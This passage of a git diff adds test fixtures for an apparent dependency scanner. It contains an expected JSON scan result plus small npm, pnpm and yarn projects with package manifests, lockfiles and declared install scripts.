"1.0.0", + "purl": "pkg:npm/npm-app@1.0.0", + "package_manager_source": "package.json", + "source_path": "package.json", + "script_name": "postinstall", + "command": "node scripts/setup.js" + } + ], + "warnings": [], + "summary": { + "manifest_count": 2, + "lockfile_count": 1, + "dependency_count": 2, + "package_scripts": 2, + "warnings": 0 + } + }, + "files": [ + { + "path": "node_modules/left-pad/package.json", + "size": 100, + "modified_time": "2026-06-17T12:09:42.945891994Z", + "mode": "-rw-r--r--", + "permissions": "0644", + "symlink": false, + "sha256": "8de4aaee3bc951d9033df26fab2d2a85490d1057889e0d31cce66a2bf399392a", + "type": "node_manifest", + "status": "scanned", + "state": "previously_unscanned", + "package_owner": "left-pad" + }, + { + "path": "package-lock.json", + "size": 425, + "modified_time": "2026-06-17T12:09:42.749192701Z", + "mode": "-rw-r--r--", + "permissions": "0644", + "symlink": false, + "sha256": "45bcb93faf2ae1f014800bbe44bccbcb6411fd7b445c2ee12bbef6219822862e", + "type": "lockfile", + "status": "scanned", + "state": "previously_unscanned" + }, + { + "path": "package.json", + "size": 158, + "modified_time": "2026-06-17T12:09:42.629421891Z", + "mode": "-rw-r--r--", + "permissions": "0644", + "symlink": false, + "sha256": "eaea84201f0d2d82fc095552afaf67b9267d5ebe5889f1507f38cb9fa5d75069", + "type": "node_manifest", + "status": "scanned", + "state": "previously_unscanned" + } + ], + "summary": { + "total_files": 3, + "scanned_files": 3, + "skipped_files": 0, + "errored_files": 0, + "skipped_directories": 0, + "package_managers": 4, + "node_modules_files": 1, + "node_modules_packages": 1, + "findings": 0, + "suppressed_findings": 0, + "blocking_findings": 0, + "weak_findings": 0 + } +} diff --git a/testdata/node/npm/node_modules/left-pad/package.json b/testdata/node/npm/node_modules/left-pad/package.json new file mode 100644 index 0000000..2b1b308 --- /dev/null +++ b/testdata/node/npm/node_modules/left-pad/package.json @@ -0,0 +1,13 @@ +{ + "name": "left-pad", + "version": "1.3.0", + "maintainers": [ + { + "name": "Example Maintainer", + "email": "maintainer@example.test" + } + ], + "scripts": { + "install": "node install.js" + } +} diff --git a/testdata/node/npm/package-lock.json b/testdata/node/npm/package-lock.json new file mode 100644 index 0000000..b6996c7 --- /dev/null +++ b/testdata/node/npm/package-lock.json @@ -0,0 +1,20 @@ +{ + "name": "npm-app", + "version": "1.0.0", + "lockfileVersion": 3, + "packages": { + "": { + "name": "npm-app", + "version": "1.0.0", + "dependencies": { + "left-pad": "1.3.0" + } + }, + "node_modules/left-pad": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz", + "integrity": "sha512-left", + "hasInstallScript": true + } + } +} diff --git a/testdata/node/npm/package.json b/testdata/node/npm/package.json new file mode 100644 index 0000000..55e58cc --- /dev/null +++ b/testdata/node/npm/package.json @@ -0,0 +1,10 @@ +{ + "name": "npm-app", + "version": "1.0.0", + "scripts": { + "postinstall": "node scripts/setup.js" + }, + "dependencies": { + "left-pad": "1.3.0" + } +} diff --git a/testdata/node/pnpm/package.json b/testdata/node/pnpm/package.json new file mode 100644 index 0000000..4df5f18 --- /dev/null +++ b/testdata/node/pnpm/package.json @@ -0,0 +1,7 @@ +{ + "name": "pnpm-app", + "version": "1.0.0", + "dependencies": { + "is-odd": "^3.0.0" + } +} diff --git a/testdata/node/pnpm/pnpm-lock.yaml b/testdata/node/pnpm/pnpm-lock.yaml new file mode 100644 index 0000000..91a320c --- /dev/null +++ b/testdata/node/pnpm/pnpm-lock.yaml @@ -0,0 +1,13 @@ +lockfileVersion: '9.0' + +importers: + .: + dependencies: + is-odd: + specifier: ^3.0.0 + version: 3.0.1 + +packages: + is-odd@3.0.1: + resolution: + integrity: sha512-odd diff --git a/testdata/node/yarn/package.json b/testdata/node/yarn/package.json new file mode 100644 index 0000000..bba31f7 --- /dev/null +++ b/testdata/node/yarn/package.json @@ -0,0 +1,7 @@ +{ + "name": "yarn-app", + "version": "1.0.0", + "dependencies": { + "@scope/pkg": "^1.0.0" + } +} diff --git a/testdata/node/yarn/yarn.lock b/testdata/node/yarn/yarn.lock new file mode 100644 index 0000000..31cbd79 --- /dev/null +++ b/testdata/node/yarn/yarn.lock @@ -0,0 +1,7 @@ +# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. +# yarn lockfile v1 + +"@scope/pkg@^1.0.0": + version "1.2.3" + resolved "https://registry.yarnpkg.com/@scope/pkg/-/pkg-1.2.3.tgz" + integrity sha512-scoped